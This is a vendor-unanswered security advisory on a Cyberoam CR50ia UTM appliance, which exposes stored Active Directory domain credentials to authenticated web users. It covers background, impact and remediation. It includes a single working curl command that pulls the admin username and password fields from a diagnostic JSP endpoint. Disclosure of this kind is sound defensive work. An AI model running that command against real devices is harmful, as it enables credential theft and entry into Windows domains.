Please find below the details of a vulnerability I discovered in Cyberoam UTM device. The Vendor was notified, however I did not receive any response from Vendor despite repeated email reminders.
SECURITY ADVISORY: cyberoam-utm-insecure-password-handling
Affected Software: Cyberoam CR50ia 10.01.0 build 678 Vulnerability: Insecure Password Handling Severity: High Release Date: Unreleased
I. Background ~~~~~~~~~~~~~
"Cyberoam Unified Threat Management appliances offer assured security, connectivity and productivity to Small Office-Home Office (SOHO) and Remote Office-Branch Office (ROBO) users by allowing user identity-based policy controls."
Cyberoam UTM integrates with Active Directory. In order to query data from a configured AD, domain credentials are stored within the device. These credentials are retrievable by an authenticated user.
II. Description ~~~~~~~~~~~~~~~
Domain credentials are stored on the device and passed to web clientson a diagnostic page (Identity --> Authentication --> Authentication Server --> /Select Configured AD/ ). Authenticated clients can thus easily access stored credentials.
A trivial check for this follows (replace cookie value):
curl -s -b "JSESSIONID=u2ur76lhy4qt" -H "Referer: blah" "http://<webserver>/corporate/webpages/identity/ActiveDirectoryEdit.jsp?__RequestType=ajax&&objectID=1&pageid=pagePopupForm1"|egrep '(adminusername|passwdvalue)'
III. Impact ~~~~~~~~~~~
The vulnerability allows a malicious user to access potentially privileged domain credentials. Should default passwords not be changed, then this is a trivial entry point onto a Windows domain.
IV. Remediation ~~~~~~~~~~~~~~~
Do not return stored credentials to the browser.
V. Disclosure ~~~~~~~~~~~~~
Reported By: Saurabh Harit, Senior Security Analyst, SensePost
Discovery Date: 2011-11-01
VI. References ~~~~~~~~~~~~~
Saurabh Harit Senior Security Analyst SensePost Pvt Ltd Phone: +27 768006821